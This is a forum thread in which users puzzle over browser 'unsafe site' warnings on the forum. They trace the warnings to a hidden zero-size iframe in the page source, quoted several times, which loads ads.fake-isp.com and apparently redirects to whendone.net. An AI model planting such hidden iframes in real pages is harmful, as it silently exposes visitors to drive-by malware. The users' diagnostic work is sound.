Unsafe Site Again??

[roclafamilia]

I'm getting one of these again...anyone else?

 

[mindcryme]

i am too i'm on a mac

 

[roclafamilia]

Yeah, that's from safari...mac too.

 

[nvanprooyen]

nothing here yet...pc / firefox.

 

[nvanprooyen]

There aren't even any ads running (I'm not seeing them anyways). Wasn't the issue before an exploit on openx?

 

[Lord B]

Mac here, firefox. No issues like that. Let me try in Safari.

Edit: Working fine in Safari.

 

[roclafamilia]

I got the error in chromium too, but it doesn't appear to be happening now.

http://grab.by/3giA

 

[iPwnNoobs]

all your IPs are belong to wickedfire - thats probably just LP Lockdown doin its thing... nothing to worry bout... move along..

 

[roclafamilia]

There aren't even any ads running (I'm not seeing them anyways). Wasn't the issue before an exploit on openx?

At the bottom of the source there's this.

<iframe src="http://ads.fake-isp.com/stats?counter=43" width=0 height=0></iframe>

when I went to that directly, I got an unsafe warning, So i'm assuming that's it.

 

[kblessinggr]

I turned back on the warning, and nothing popped up for me yet (Safari, OSX)

 

[kblessinggr]

At the bottom of the source there's this.

<iframe src="http://ads.fake-isp.com/stats?counter=43" width=0 height=0></iframe>

when I went to that directly, I got an unsafe warning, So i'm assuming that's it.

Oh you're talking bout that lil dot that shows up just above the copyright line near the bottom of the site.

btw when I goto hxxp://ads.fake-isp.com/stats?counter=43 it just redirects to hxxp://whendone.net/cgi-bin/ids.html

 

[roclafamilia]

That one...

 

[Rage9]

Got infected already. Removed it.

 

[gimmedat]

NoScript FTW

 

[Rage9]

NoScript now in effect.

 

[kblessinggr]

Got infected already. Removed it.

*infected* with what exactly? Is there still an internet explorer hole where simply viewing a site installs something onto your system?

 

[ctdenike03]

I just got the same thing on chrome

 

[kblessinggr]

hehe "Welcome to nginx!" on whendone.net

Course not too surprising that a default install of a russian webserver would be on a server in Latvia (microlines.lv RDNS)

 

[Sohan]

http://ads.fake-isp.com/stats?counter=43 is what goes into the iframe.

 

[roman8389]

Got an alert from Avast the last time I came, referencing whendone.net. Didn't happen this time.